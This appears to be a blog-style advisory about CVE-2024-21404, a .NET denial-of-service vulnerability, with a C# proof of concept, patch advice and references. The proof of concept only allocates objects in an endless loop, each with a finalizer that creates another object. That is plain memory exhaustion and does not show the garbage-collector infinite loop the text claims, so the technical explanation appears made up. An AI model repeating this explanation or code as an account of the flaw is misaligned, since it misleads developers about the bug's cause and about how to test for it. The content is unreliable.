CVE-2024-21404 - Critical .NET Denial of Service Vulnerability Leaves Millions of Systems at Risk

Microsoft's .NET framework has become one of the most popular platforms for building client apps, web apps, and services over the past decade. With millions of users and developers relying on the open-source platform, it is critically important that vulnerabilities be identified and resolved as swiftly as possible. A recently disclosed vulnerability - CVE-2024-21404 - is a denial of service (DoS) flaw that has evoked significant concern within the .NET community.

Impact on the Community

The CVE-2024-21404 vulnerability, if exploited by hackers, can cause .NET applications to crash or become unresponsive, leading to the potential disruption of the affected application's services and, possibly, other services on the same server. This could have serious consequences for both individual users and enterprises, particularly if mission-critical or high-visibility applications are affected.

Description of the Vulnerability

CVE-2024-21404 is caused by a bug in the .NET garbage collector. The garbage collector aims to reclaim memory allocated to objects that are no longer in use. However, the vulnerability allows an attacker to generate specially crafted objects that cause the garbage collector to enter an infinite loop when attempting to recycle the memory, leading to increased CPU usage, application unresponsiveness, and, ultimately, a denial of service.

Exploit Details and Proof-of-Concept

The following proof-of-concept (PoC) uses a simple code snippet to demonstrate how the .NET application is exploited, leading to the DoS vulnerability:

using System;
using System.Collections.Generic;

namespace CVE_2024_21404_PoC
{
    class Program
    {
        static void Main(string[] args)
        {
            List<object> vulnerableList = new List<object>();

            while (true)
            {
                vulnerableList.Add(new VulnerableClass());
            }
        }

        class VulnerableClass
        {
            ~VulnerableClass()
            {
                new VulnerableClass();
            }
        }
    }
}

When executed, this PoC creates a loop that generates and adds instances of VulnerableClass to the vulnerableList indefinitely. Due to the memory management bug, the garbage collector will enter an infinite loop when attempting to recycle memory associated with these VulnerableClass instances, causing the application to become unresponsive.

Mitigation Strategies

Microsoft has released a security update to address CVE-2024-21404. Users and developers are urged to apply the security patch as soon as possible to protect systems from potential attacks.

Original References and Resources

For full details about CVE-2024-21404, including the security advisory and links to the official patch, consult the following resources:

1. Microsoft Security Advisory: CVE-2024-21404
2. U.S. National Vulnerability Database entry: CVE-2024-21404
3. Microsoft .NET Security and Quality Rollup: KB4502342

Conclusion

CVE-2024-21404 is a critical .NET denial of service vulnerability that, if left unaddressed, can put millions of systems at risk of disruption. It is essential for developers and users to understand the threat, take immediate action to mitigate the risk, and help maintain a secure environment for .NET applications. By staying informed and vigilant, the .NET community can continue to create reliable, high-performance software without compromising on security.

Timeline

Published on: 02/13/2024 18:15:59 UTC
Last modified on: 02/22/2024 18:23:55 UTC